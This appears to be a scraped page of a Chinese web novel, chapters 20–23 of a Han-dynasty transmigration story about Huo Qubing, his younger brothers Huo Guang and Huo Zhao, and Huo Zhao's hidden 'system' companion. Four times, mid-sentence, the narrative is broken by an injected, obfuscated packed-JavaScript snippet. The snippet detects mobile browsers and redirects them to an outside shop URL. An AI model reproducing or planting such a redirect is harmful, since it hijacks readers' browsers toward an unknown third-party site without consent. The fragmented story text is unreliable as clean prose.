他是勤学好问的霍昭昭,没有什么能难倒他。 小家伙肃着小脸应道,“阿兄放心,我们不出门,就在家里玩。” “不出门也好,等阿兄过几天闲下来带你们出去转转,熟悉了之后再自己出门。”霍去病点点头,对着霍光继续说道,“书房里应该都放了不少书,你可以先翻翻看看,若是有缺的就列个单子,阿兄去宫里给你找。” 冠军侯平时话不多,之前住在大将军府的时候几个表弟有父母操心也不需要他叮嘱,现在家里多了两个只能依靠他的弟弟,总感觉叮嘱再多都不够。 莫名有种提前当爹的感觉,这就是传说中的长兄如父吗? 如父的长兄顿了一下,赶紧把脑子里奇奇怪怪的想法赶出去。 乖巧懂事的弟弟们将兄长送到府邸门口,从家丞口中得知衣工差不多半个时辰后到,于是结伴去书房寻找惊喜。 目标是霍光院子里那间昨天晚上去过的书房。 府邸是天子亲自过问督造的,除了主院外其他院落都差不多,书房里的东西也都是最基础最常用的笔墨书简,其他东西会等主人入住才会依据喜好往里添。 即便如此,书房里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036902|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西也比兄弟俩以前见过的多的多。 昨天写信的时候霍光已经注意到书架上满满当当竹简,只是天太晚了没来得及看,正好今天有时间可以都翻一遍。 阿兄太高估他了,他只在平阳的官学读过几年书,书架上这些便有大半是他没读过的,哪里能列出来什么缺的书单? 够用了够用了,这么多书他三年都未必学得完。 兄弟俩好像小老鼠进大米缸,看到什么都想摸一摸碰一碰。 家里的竹简多是简单的启蒙书和算术简册,基本上没有正经的典籍,冠军侯府的书架和家里完全不一样,没有启蒙书和小吏常用的算术简册,全是外面很少见的儒家典籍,仔细翻翻甚至还有兵书。 霍昭随手一拿就拿到了《孙子兵法》,当即津津有味的开始翻看,【我以前看过卫国公写的《阴符机》和《韬钤秘术》,卫国公打了一辈子的仗,写出来的兵书可宝贝了,我求了统领大半个月才被允许看几眼,结果看是看了,就是看不懂。】 系统梗了一下,它满心期待的等着他们家宿主对《孙子兵法》发出锐评,当年汉武帝想教少年霍去病兵法时被还没有打过仗的冠军侯当场拒绝,他们家宿主肯定也不差。 原想着他们家宿主要跟它讨论《卫公兵法》和《孙子兵法》的优劣,没想到后面会冒出来一句“看不懂”。 上辈子看不懂《卫公兵法》,这辈子能看懂《孙子兵法》吗? 系统挣扎着等着他们家宿主打脸它这个小瞧人的系统,然后就看到小家伙捧着竹简去问旁边的哥哥这个字念什么。 ……算了算了,孩子还小,有的是时间学。 另一边,霍去病提前派人到陈家打过招呼,到地方的时候陈家的仆从已经在门口候着。 陈家传到陈掌这一代已经没有爵位,但是开国勋贵的名望还在,陈掌等人也算是和刘彻从小一起玩到大,没有爵位也是天子心腹。 卫少儿嫁给陈掌后陈家便和卫家绑在了一起,刘彻用他也没那么多顾忌,于是任命陈掌为詹事主管皇后和太子的家事。 秩二千石的重臣不会天天待在家里,因此霍去病来的时候见不到继父。 卫少儿也知道儿子不喜欢私下里和丈夫见面,也不会特意将俩人凑在一起徒增尴尬。 她少时随母亲一起在平阳侯府为奴,卫家发迹后日子好起来,之后又嫁给陈掌为正妻,便再没有在衣食上受过苦。 卫家女儿容貌都很出色,这些年保养的也好,丝毫看不出她儿子都二十多岁了。 “去病来了,坐。”卫少儿招呼儿子在身旁坐下,然后温声问道,“听说你将霍家那两个弟弟带了回来,两个小家伙怎么样?” 霍去病淡定的坐在对面,“都很好,阿光性子稳重,陛下昨日已经任命他为郎官,阿昭过几年长大了也能到我身边帮忙。” “小家伙们模样如何?怎么没带过来给娘瞧瞧?”卫少儿叹道,“霍仲孺年轻的时候容貌不俗,我们去病长的也好,想必两个小家伙的模样也不会差。” 霍去病:??? 卫少儿感慨几句,又问道,“你这次到平阳见到他感觉怎么样?他变丑了吗?” 霍去病:…… 21.第 21 章 * 卫少儿对霍仲孺没什么不满,出身使然,和她有过露水情缘的不只霍仲孺一个,只是霍仲孺的样貌尤其出色,所以她到现在都记得那人的模样。 如果不是孩子亲爹长的足够好看,那段时间过的也确实开心,她才不会让辛苦生下来的儿子姓霍。 就是有一点,脾性别随了亲爹。 那家伙性子软没脾气,出门在外受了欺负也不敢说,二十多年过去还是个小吏实在太正常了。 她生的儿子脾性不像亲爹,那两个小家伙呢? 霍去病抿了口甜滋滋的蜂蜜水,两眼放空听他娘絮叨。 他知道母亲看重相貌,或者说,全家都知道母亲看重相貌,所以陛下给她选夫婿的时候姨母几番委婉提醒请求,这才让陛下挑了个陈掌出来。 曲逆侯陈平是出了名的美男子,陈掌身为他的后人才学继承了多少不好说,反正相貌是一等一的好。 至于霍仲孺的模样…… 看他的样貌也能知道他亲爹长的不会差。 不过有一点娘说的没错,模样可以随爹,脾性不行,没脾气在朝廷里混不下去。 就像他舅舅,脾气很好与人为善,结果就是打了胜仗还要被人刁难。 卫少儿顿了一下,表情颇有些一言难尽,“你舅舅那么大的人了办事知道分寸,再怎么说他也是当朝大将军,你别跟着瞎掺和。” 她不懂行军打仗也不清楚朝堂派系,但是她知道只要天子没有厌弃卫家,旁人再怎么诋毁都没用。 同理,天子不想用卫家了也不需要理由。 大人的事情小孩儿少管,比起还没回到京城的卫青,她更想知道到底是谁把霍仲孺的事情捅到明面上来的。 房间里没有外人,母子之间说话也没那么多顾忌,卫少儿便直接问了,“挑事儿的河东太守已经被发配边疆,陛下可有继续往下查的意思?” 她和霍仲孺在一起的时候上一任平阳侯和阳信长公主还没成亲,大汉惯例公主不就国,成亲也不是公主去平阳,而是男方搬到长安生活。 卫家什么情况长眼睛的人都知道,家里的孩子本来就全都跟着母亲。 早年卫青倒是跟着生父生活了一段时间,结果呢,生父那边根本不把孩子当人对待。 虽然她不觉得霍仲孺会和那个郑季一样过分,但是不怕一万就怕万一,万一那家伙娶了个不好相处的妻子,以他的本事绝对护不住孩子。 儿子尚在襁褓之中便跟她来到长安生活,她这个亲娘都不着急,需要其他人上赶着给孩子找爹? 她儿子叫霍去病不叫卫去病还不能说明问题吗? 早不搞事晚不搞事,非等到出征路上才假惺惺的弄什么父子相认,他们父子想相认吗就让他们见面?万一孩子心情不好上战场影响打仗了怎么办? 别让她知道是谁在背后搞鬼,不然就算陛下不追究她也有法子让背后搞鬼的家伙家宅不宁。 霍去病皱了皱眉,“陛下没说,我也没问,不过陛下主动提出让阿光到他身边当郎官,应该是不想再追究此事。” 战事开支巨大,这几年为了缓解国库的压力,陛下采纳大司农的建议,打破了军功爵不得买卖的限制,设立允许通过缴纳钱粮获得的武功爵来筹集军费。 这次两路大军远征漠北,出征的十四万马匹回来的不到五万,损失的兵丁甲胄也以十万计。 仗打赢了是该高兴,但是转过头看看损失,再看看空荡荡的国库,只怕再大的胜利也高兴不起来。 军费开支已经让陛下头疼的不行,在他出征路上搞事儿的幕后黑手也就那么几个人选,还都是当朝重臣,朝堂之事牵一发动全身,陛下不愿意在这个时候多生事端也能理解。 卫少儿无奈叹气,“那这事儿娘看着办。” 对方捅出来的是她的风流往事,她这个当事人有点意见很正常对吧? 卫家如今是最受天子看重的外戚,他们不惹事但也绝对不怕事。 母子俩说了会儿话,等到日上中天,霍去病看了眼天色便起身告辞。 再过一会儿陈掌就回来了,他也和俩弟弟说了午饭前会回去,不好在这里多留。 卫少儿也没强留,只让儿子下次来的时候把俩小的带上,她想看看霍仲孺生出来的别的小孩儿是不是和他们家去病幼时一样俊俏。 “……”霍去病脚下一绊,颇有些落荒而逃的意思。 长安城的勋贵宗亲基本上都住在未央宫北阙附近,这边离宫门近便于勋贵高官上朝参政,各家之间来往也非常方便。 天气越来越热,外面的蝉鸣已经有些聒噪,迎面吹来的风带来的也不是凉爽。 大热的天街上没几个人影儿,霍去病也没在外面转悠,快马奔驰没一会儿就回到了自家门口。 冠军侯归来,门房连忙出来牵马,不多时家丞也快步赶来迎接。 霍去病接过递到手边的汗巾擦汗,将马策扔给身后的亲卫,然后问道,“阿光和阿昭在何处?” 家丞躬身回答,“两位小郎君都在院儿里,这会儿还在衣工处询问新衣裳是怎么做的。” “问衣裳是怎么做的?”霍去病的表情有些古怪,“缠着衣工不放的应该只有阿昭一个吧?” “将军猜的真准。”家丞走在旁边引路,一边走一边说道,“小郎君瞧见什么都觉得新奇,说是怕以后遇到新样式的衣裳不会穿,要趁衣工在多问问。” “他倒是好学。”霍去病忍俊不禁,不知道霍仲孺是怎么养出来这么个活泼跳脱的孩子的。 老霍自个儿胆小怕事,娘也说了他二十多年前就是个优柔寡断的闷葫芦,阿光的话也不多,就那个小的一刻都闲不住。 不肯当衣来伸手饭来张口的小纨绔正好,真要是个小纨绔他还得发愁怎么把臭小子掰回来。 摆放有冰块降温的居室中,霍昭正在追着衣工问问问,系统也在拿着小本本记记记。 直接找专业人士答疑就是比看教程强,教程上一个简单的步骤能绕八个弯,其实真正上手根本不用那么复杂。 看人家衣工的教学,这才是真正的有手就会。 霍光无奈的看着弟弟认真学习,他也经历过这个年纪,可他记得他小时候没在意过这种奇奇怪怪的事情呀。 直到霍去病进来,霍光才凑过去小声解释今天早上发生的事情。 不是弟弟在难为衣工,他是在难为他自己。 霍去病笑道,“我说他怎么吃早饭都不积极了,较真的小孩儿。” 霍光也没有办法,“阿昭要面子,阿兄千万别在他面前说。” 正说着,要面子的小家伙就兴奋的冲了过来,“阿兄阿兄,现在夏衣冬衣春秋衣我都会穿啦。” 霍光:…… 好像也没那么要面子。 “知道阿昭很厉害了。”霍去病摆摆手示意衣工离开,然后说道,“你们年纪小身体长的快,每季的衣裳都要换,有的是时间和衣工打交道。” “那可以有盔甲吗?”霍昭在作死的边缘大鹏展翅,“阿兄多大有的第一副盔甲?我可以更早一些拥有吗?” 霍去病瞥了他一眼,“那得等你打得过阿兄再说。” 霍昭煞有其事的打量战功显赫的兄长,虽然没有明说,但是满脸都写着“我觉得我打得过”。 别的什么都不管,只看单兵战斗能力,他觉得他是大汉独一份的强。 系统觉得也是,虽然他不希望他们家宿主再上战场,但是这个世界的人看到他们家宿主翻墙上树都惊讶的跟什么似的,等过几年宿主长大肯定能打趴一大片。 看到小家伙的反应,霍去病冷酷的将人拎走,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17042511|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两天在家乖乖待着,等我安排好阿光就带你去校场,让阿兄看看你到底有多厉害。” 霍昭脸上的笑容渐渐消失,缩着脑袋小声回道,“也没有太厉害,只有一点点厉害,现在的我一个人打不趴一群大人的。” 霍去病挑眉,“你还打趴过一群?” 霍光认命的在旁边解释,“阿昭的力气天生比旁的小孩儿大,小孩子之间有时闹的过分就会打起来,他曾经一个人打对面七个,直到有个小孩儿把家里还在吃奶的弟弟抱出来才停手。” 一个打七个,也算是打趴过一群吧。 提起这事儿霍昭就生气,“是阿喜不讲武德,大孩子打架怎么能带那么小的小娃娃来?他弟弟来了之后抱住我的腿就是哭,我除了认输还能怎么办?” 诡计多端!太气人了! 霍光弯了弯眼睛,“这叫‘兵者,诡道也’。” 小孩子拉帮结派的玩闹跟打仗也差不多,就是得心眼儿多才能赢。 阿喜敢把还不会走路的弟弟抱出来那是他胆大,也是笃定他们家阿昭不会对小娃娃做什么,要是他们家阿昭平时蛮横不讲理根本不管小孩儿的死活,看阿喜敢不敢把弟弟抱出来冒险? 没办法,心软就是容易被人拿捏。 霍昭撇撇嘴,“他要是把他弟弟换成他哥我肯定不会输。” 跟谁没有哥哥似的,拉哥哥助阵的话他哥能给对面一群哥哥讲道理,一个人把对面一群人讲的哑口无言,何尝不是另一种群殴。 霍去病饶有兴致的听俩弟弟拌嘴,感觉俩小子过的比他小时候有意思多了。 他小时候在卫家待的时间还没有在皇宫待的多,那时候太子还没有出生,宫里只有姨母所出的几位公主,陛下闲着没事儿干就教他干这干那,根本没人敢和他打群架。 这小子也真是胆大,对面足足七个人,好虎难架群狼,就算他天生力气大,打闹的时候没分寸伤着了怎么办? 玩闹的时候敢一个打一群,真上了战场还不得闭着眼睛往敌军大营冲? 不行,这毛病得改。 骠骑将军自顾自的点点头,丝毫不觉得自己在战场上那神出鬼没的打法也很冒险。 兄弟三人在冠军侯府相处的非常和谐,俩小的适应了几天后生活很快步入正轨,该学习学习该练武练武,不管是大的还是小的都得文武兼备。 不过在霍昭被拎去校场测试武力值之前,大将军部的兵马终于回京了。 和骠骑将军回来时排场差不多,百官出城夹道相迎,城里百姓也是和前些天差不多的欢天喜地。 打仗要花钱,朝廷钱不够用了就要增收赋税,这儿多收一点儿那儿多收一点儿,一不小心就到了寻常人家负担不起的程度。 这次大将军和骠骑将军出塞远征把匈奴打的元气大伤,短时间内匈奴没法再南下,朝廷不打仗了他们才有好日子过。 百姓很热烈,就是将士们的反应不似骠骑将军麾下那般明显。 街上熙熙攘攘站的都是人,两边的酒楼商铺也都人满为患,霍昭站在临街的二楼往下看,老气横秋的感慨道,【系统仙人,大将军这次回来是不是要被冷落了?】 系统满脑袋问号,【为什么会这么想?】 霍昭摇头晃脑的分析,【公主都说了,一个大司马大将军,一个大司马骠骑将军,陛下这是要把兵权分成两份,让两个大司马互相制衡。】 而且大将军此番凯旋非但没有封赏,连部下封侯的也没有几个,反观骠骑将军,骠骑将军身边封侯的两只手都数不过来。 待遇相差如此悬殊,连大将军府上养的门客都察觉出了不对劲全都弃他而去,这还不算是遭受冷落吗? 太可怜了,大将军的日子太难过了。 系统扭头去查播放记录,【霍昭昭,你给我少看点电视剧。】 22.第 22 章 * 大将军班师回朝,长安城锣鼓喧天,霍昭霍光兄弟俩在感受到课业的压力之前先迎来了放假休息。 他们两个来时与大军同行,进城后就直接被带到冠军侯府,没机会感受当时的普天同庆,现在大将军回来同样是普天同庆,说什么也不能错过这个热闹。 没文化的霍昭昭同学对不知道兄长霍光是出了名的大权臣之事感到非常羞愧,所以他白天学文练武,晚上睡觉之前也不忘加班加点的学习。 学的是什么不重要,反正他学了。 系统开始的时候还能陪孩子一起看,后来耐心消失就变成选好片就去忙别的。 虽然宿主总是不务正业显得它这个种田系统存在感很低,但是他们真的有个农场要打理。 唉,孩子太聪明就这点不好,给了权限立刻就能学会自己找东西看。 正经纪录片看完之后记不住多少知识点,看电视剧恨不得每句台词都记住,电视剧里的台词能参考吗就乱记? 那么多天的历史小课堂上完没见有什么反应,看个电视剧倒是记住了卫青这次得胜归来没封赏,在意大将军没封赏之前要不看看他还有没有继续封赏的空间呢? 人家上上次出征回来就已经让三个儿子全跟着封了侯,父子四人食邑加起来超过两万户,知道食邑超过两万户是什么概念吗?知道在汉武帝手底下食邑超过两万户是什么概念吗? 卫青的爵位已经封到头了,不说这次,连上次出征回来就只能折现赏金,这次还要怎么加封?直接让他当常务副皇帝?那是不是还得给霍去病封个常务副太子当当? 系统骂骂咧咧的收回臭小子的搜索权限,有判断力的成年人可以想看什么就看什么,小孩子辨别能力不强太容易被带歪,还是得多管着点儿才行。 霍昭被收走搜索权限也不怕,【没关系,我已经看完啦。】 系统面无表情的提问,【看完之后有什么感想?】 霍昭皱皱鼻子,【里面的汉武帝太气人了,大将军在他面前召之即来挥之即去,他还这不满意那不满意,真是太欺负人了。】 欺负人也就算了,还不许人有怨气,世上哪儿有这么好的事情? 系统:【……】 刚说什么来着,就不能让孩子在没有判断力的时候胡乱看。 行吧,等回去再说,它今天非得把“卫青是个小可怜”的滤镜给打破不可。 霍昭没法和其他人分享他的观后感,系统仙人不问还好,既然问到了那就别怪他话多,他真的感觉电视剧里那个大将军过的委屈。 那都不是谨小慎微了,那直接是逆来顺受,跟嫁到恶霸家里的小媳妇似的越看越可怜。 不过系统仙人不用担心,他知道电视剧里演的都是戏说,就跟说书人讲出来的故事都会夸大其词一样,戏说只能当消遣不能相信,这点道理他还是懂的。 系统仙人对此保持怀疑,它的宿主它了解,大道理讲起来很像那么回事儿,实际上呢?敢说自己一点儿影响都没受到? 自信的霍昭昭同学就是觉得自己不会被影响,他能分辨出哪些能信哪些不能信,他相信的才是真的,其他的都是演着玩儿。 系统哼了一声,就知道会是这样。 不要试图跟小孩子讲道理,小孩子会有一堆歪理等着你。 酒楼外面,带着天子诏书的小黄门已经登上城楼宣读完封赏,接下来就是将士们回营安顿大将军进宫复命。 百官在西城墙正中的直城门外迎接,大将军被他们迎进未央宫,百姓则顺着横门大街直接去东市西市继续庆祝。 未央宫在长安城的西南角,往北是勋贵宗亲的宅邸,再往北到了西北角就是由朝廷设立的九个市集。 官市以横门大街为界,六市在道西,三市在道东,什么稀奇古怪的物件儿都能在那里找到。 前两天卫伉带着两个弟弟到冠军侯府玩,霍昭从他们口中听到过好几次东市西市,知道那边是长安城里最热闹的地方,就是没亲自去过。 市集人多眼杂,他自个儿出去俩哥哥不放心,得等大人有空才能带他去那边逛街。 就像现在,他和他哥只能在酒楼上看热闹,热闹看完就得回家,带了侍卫也不能在外面多留。 咳咳,虽然他哥已经是当官的人,但是在长兄眼里依旧是不能单独出门的小孩儿。 回去的马车上,霍昭神神秘秘的说道,“阿兄,阴安侯说大将军对他们的课业看的很紧,大将军回来后他会想办法带着师傅到冠军侯府来。” 阴安侯卫不疑,大将军次子,只比他大了两岁。 霍光看着自顾自开心的弟弟,笑道,“但是更可能是阿兄直接把你送去大将军府。” “让我去大将军府更好,我不介意大将军管的严。”霍昭眼睛里闪着小星星,“大将军亲自教导,这是多少人都求不来的福分,我学我学我学。” 大将军教什么他学什么,绝对不挑挑拣拣。 乖巧.jpg 霍光当然知道弟弟是个勤奋的好孩子,在平阳的时候就是,玩起来找不着人影,到了读书的时间又会自己冒出来,从来不会因为玩耍耽误学习。 长安和平阳大不相同,他们家阿昭聪明又敏锐,就算年纪小也知道他们现在的一切都是靠兄长才有的,没有兄长的话他们俩再努力也很难走出平阳城。 在平阳的时候感觉县丞县令已经是天大的官儿,但是在长安,冠军侯府家丞俸禄三百石,和小县的县令等同。 兄长愿意培养他们是他们命好,上进的机会难得,不好好学对不起兄长更对不起他们自己。 府上的家臣都是正儿八经的官员,护卫也都是战场上生死拼杀出来的勇猛之士,随便点个人出来都能教他们。 兄长身边需要能帮他处理军务的亲信,军务和政务本质上没什么不同,他们父亲是最基层的小吏,长这么大耳濡目染也学到不少东西。 天子身边的郎官数量众多,轮值也是好多天才轮到一次,等他熟悉郎官需要做什么之后就能在不去当值的时候帮兄长的忙。 只要他足够能干,阿昭就不用有那么大的压力。 哦,臭弟弟根本不懂什么叫压力。 这边兄弟俩看完热闹回冠军侯府,那边未央宫中,天子的封赏也已经结束。 今天封赏的重头戏,卫青和霍去病二人分别加封为大司马大将军、大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048009|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司马骠骑将军,共同管理日常的军政事务以代太尉之职。 和骠骑将军回朝时的大肆封赏不同,大将军没有再得到食邑上的赏赐,部下也只有西河、云中两郡的太守获赐食邑二百户,黄金百斤,爵管关内侯。 不是天子小气,也不是天子对大将军有意见,而是大将军这路大军的战绩实在没有骠骑将军那般振奋人心。 他们是主要任务是攻打单于王庭,结果王庭的位置找到了却让单于逃了。 前将军李广和右将军赵食其两军合并从右翼进行包抄,结果直到大军回营才遇到迷路失期没赶上作战的援军,之后李广还气愤自尽了。 这怎么赏?根本没法赏。 大殿之中群臣散去,刘彻留下卫青和霍去病,信上说的可能有遗漏,李广的事情还得当面说。 卫青叹了口气,将这一路上的所有细节都再为天子讲述一遍,尤其是从大漠回来遇到迷路的两路兵马后发生的事情,“陛下,老将军自尽时觉得他无功而返是因为臣将其调去右翼绕了远路,军中不少老将军的旧部也都这么认为,臣解释他们也不停,大军在回来的路上便发生了不少冲突。” 霍去病皱起眉头很想骂人,但是看他们家舅舅的神情,又冷着脸将话咽了回去。 “在军中都能闹起来?”刘彻眼里看不出任何情绪,淡淡开口,“老将军的事情朕也感到惋惜,但军法就是军法,惋惜也没办法。李广之子李敢随去病出征作战勇猛,朕已经让他代李广为郎中令。这次打完匈奴,边郡的兵力也是时候裁撤了。” 言下之意,李广迷路失期的事情他不再追究,老将军征战多年,让他的儿子继任郎中令也算是对李家的补偿,但是再为此搅闹就别怪他不讲情面。 打仗花钱,养兵花钱,朝廷因为打仗把家底儿都花完了,仗打完了北边边郡不需要留那么多兵,那些壮丁也是时候回家种地了。 朝廷只是接下来几年休养生息不打仗,没说将来也不打仗,大汉周边除了匈奴还有各种各样的蛮夷,西边有乌孙、月氏、楼兰、大宛等西域小国,南边有叛降不定的南越诸蛮,西南还有各自为政的羌人部落,谁都不知道这一仗打完能消停几年。 为李广鸣不平是一回事儿,不服从军令肆意闹事又是一回事儿,若是连军中都不讲规矩,这天下还能得了? 君臣三人在殿中说了半晌,中间还留了顿饭,直到太阳快落山了卫青和霍去病才走出宫门。 打仗的时候军中消息不太灵通,但是大将军不是一般人,京城发生的事情依旧能传到他的耳朵里。 霍去病抱着手臂走在旁边,看他们家舅舅的表情就能猜出来他想问什么,不等他问直接说,“是的,我在平阳见到了霍仲孺,还把两个弟弟都带回了京城。” 卫青顿了一下,还想再说什么,然而他的好外甥根本不给他留开口的机会。 “我弟弟一个叫霍光,一个叫霍昭。陛下已经任命阿光为郎官,阿昭还小,要当官得再等几年,不过他和不疑很合得来。不疑想带上您给他请的师傅搬到我的冠军侯府来住,也省得我再给阿昭寻师傅,舅舅觉得怎么样?” 卫青:…… 舅舅觉得不怎么样。 23.第 23 章 * 大将军打仗归来,发现从小跟着他长大的外甥搬走另立门户,儿子也有离家出走的意向,是人性的扭曲还是道德的沦丧? 新上任的大司马骠骑将军轻描淡写的说着,丝毫不管他们家舅舅受到了怎样的冲击。 都是些寻常家事,没有什么需要在意的,他只是实话实说罢了。 卫青听的欲言又止,如果不是刚回京得回家看看,他都想直接去冠军侯府看看到底是怎么回事。 臭小子接受陛下赏赐的冠军侯府是好事,不是说他不乐意孩子跟着他住,而是身为万户侯得有个地方能让家臣施展拳脚。 若是一直住在大将军府,那冠军侯身边的家臣是听冠军侯的还是听他这个长平侯的? 搬走归搬走,连家里的表弟一起带走是怎么回事? 卫大将军神情复杂,对自家儿子很没有信心,“是只有不疑一个想跟你住,还是仨小子都想跑?” 弟弟缘非常好的表兄矜持笑笑,一切尽在不言中。 卫青笑骂道,“好小子,我才走了几个月,一个个都野成什么样儿了?” 霍去病扬起下巴,“舅舅知道的,小孩子都喜欢跟同龄人一起玩。” “行,知道你带回来的两个弟弟都很讨人喜欢了。”卫青笑着说道,“回头有空带他们去家里认认门,也让舅舅看看那俩小子有多讨人喜欢。” “不用舅舅开口,我已经带他们去认过门了。”骠骑将军在大将军府上从来不拿自己当外人,不过说起两个弟弟,有件事就不得不提,“舅舅,我总觉得阿昭身上藏着小秘密。” 两个人策马走在官道上,亲卫都跟在后面,说悄悄话也没人能听见。 霍去病压低声音,“那小子和同龄人打群架,一个人打七个都不落下风,力气大可以是天生的,可他那身手也好的不符合常理。” 这事儿不好跟别人讨论,在舅舅面前却没什么好瞒的,他还指望心细如发的舅舅能再找出些猫腻,不然总感觉是他想多了。 所有人都觉得没毛病就他感觉不对劲,不是他想多了是什么? 卫青饶有兴趣的问道,“力气有多大?身手有多好?” “他才八岁,已经能拉动四钧的弓。”霍去病捏捏手臂上的肌肉,到现在都觉得不可思议,“能拉动四钧的弓,踩着石头能翻上墙,敢在房顶上跑来跑去,最重要的是霍仲孺根本没给他请过武师傅。” 军中标准战弓为四钧,接受训练后能拉得动的弓的士兵上战场才能有弓,不然就去承担别的任务。 他这次出征带的是精挑细选出来的精锐士兵,可以说个个都是百里挑一,即便如此也有人拉不动四钧的弓。 当然,军中不只有弓箭手,在别的方面厉害一样是精锐。 结果回家一看,他八岁的弟弟轻轻松松就能拉开四钧的弓,再过两年估计六钧的弓也不在话下。 这正常吗?肯定不正常! 骠骑将军从回来的路上就一直在观察非同寻常的弟弟,可惜一直到现在都没发现他身边那个高人到底藏在哪儿。 卫青没忍住笑了出来,“楚霸王力拔山兮气盖世,能徒手举起千斤巨鼎,你觉得他八岁时能不能拉开四钧的弓?” 霍去病轻哼一声,“我一直以为那是传闻夸大。” “天生神力不多见,但也不是没有,这没什么好奇怪的。”卫青笑吟吟解释道,“踩着石头就翻上墙只能说明那孩子胆子大,你是自小在京城长大没见过小孩子胡闹,这个年纪的小家伙正是天不怕地不怕的时候,不然怎么会有孩子‘三天不打上房揭瓦’的说法?” 寻常人家的孩子调皮自然也跟锦绣堆里长大孩子不一样,勋贵家的小郎君再怎么纨绔捣蛋身边也有一群仆从盯着,可以折腾别人,但是身边那么多仆从不会也不敢让小捣蛋鬼自己置身险地。 寻常人家的孩子就没有那么多讲究了,家里的大人没空时时盯着他们,一群小家伙凑到一起什么都敢干,翻个墙爬个房顶而已根本不是事儿。 “舅舅在平阳的时候要天天出去放羊,那时候在家吃不饱肚子,看到山野峭壁有果子也敢爬上去摘,让你看到的话你是不是还要说舅舅会飞檐走壁?” 当兄长不能这么一惊一乍,只能说孩子天生神力还有点调皮,不能说他藏着小秘密,让小家伙知道的话人家该伤心了。 霍去病听完,皮笑肉不笑的扯了扯嘴角,“路过平阳竟然忘了给舅舅报仇,都是被那些蠢货给气的了。” “走吧走吧,回你的冠军侯府,记得有空带两个小的来给舅舅看看。”卫青很是无奈,说话间已经到了路口,于是挥挥手和大外甥分开,“也别有空了,明天就来。” 得亏臭小子没想起来去郑家找茬,不然回来还不知道要被弹劾成什么样子。 陛下没提不代表弹劾不存在,也就是这些天仗刚打完那些看他们不顺眼的家伙难得消停,再过上两三个月看看? 以前骠骑将军位于大将军之下,那些家伙弹劾也不怎么难为小辈,现在大司马骠骑将军和大司马大将军同掌兵权,权力在手了那些家伙可不会再管年纪大小,有弹劾的理由就绝对不会放着。 外戚权势太大不是好事,臭小子还是太年轻,再历练几年就知道朝堂远没有他想的那么简单了。 舅甥俩在路口分开,霍去病策马回到冠军侯府,还是不想承认是他想多了。 院中书房,霍昭看热闹回来就待在他哥这里看书,有哥哥在旁边哪里不懂可以直接问,还不用被念叨这个年纪不该看这些书,比让师傅一直守在旁边自在多了。 就是…… “阿兄,有什么不妥吗?” 小家伙合上竹简乖乖坐好,不明白兄长大人为什么从外面回来就一直盯着他看,看的他感觉身上有蚂蚁在爬。 【我知道,他又在怀疑你身边有隐世高人了。】系统在准备今晚的睡前小课堂,准备资料也不耽误它见缝插针的给宿主解惑,【放宽心,世上没人看得到我,你尽可以理直气壮的和他对峙。】 霍昭非常信得过他们家系统仙人,除了爬树那次猝不及防可能有点露馅,其他时候都是理不直气也壮。 系统仙人说了他们不能暴露,他绝对不会给系统仙人拖后腿。 可是阿兄回到长安后一直很正常,怎么忽然又怀疑上了? 霍去病将小孩儿上上下下里里外外打量了好几遍,终于在小家伙炸毛之前恢复如常,“明天要出去玩吗?不出去的话我带你们去大将军府见舅舅。” 卫伉那小子提了好几次要带他们去东市玩,就是一直没抽出空闲,现在舅舅回来那小子也没法天天往外跑了,想一起出去玩更得提前商量好时间。 霍昭除了上课没啥正经事要干,一切都听兄长大人安排,倒是霍光有些迟疑,“阿兄,我和阿昭去见大将军合适吗?” 那是兄长的舅舅,不是他们俩的舅舅,他和弟弟跟卫家一点关系都没有,和宜春侯阴安侯一起玩还行,跟着兄长去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051714|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见长辈是不是不太好? 霍去病屈起指节给他一个脑瓜崩,“你们两个是我的弟弟,跟我去见舅舅没有什么不合适。” 弟弟太聪明也有坏处,安安静静坐在那里的时候根本猜不到他能想到哪儿去,还不如旁边的小傻蛋让干什么就干什么。 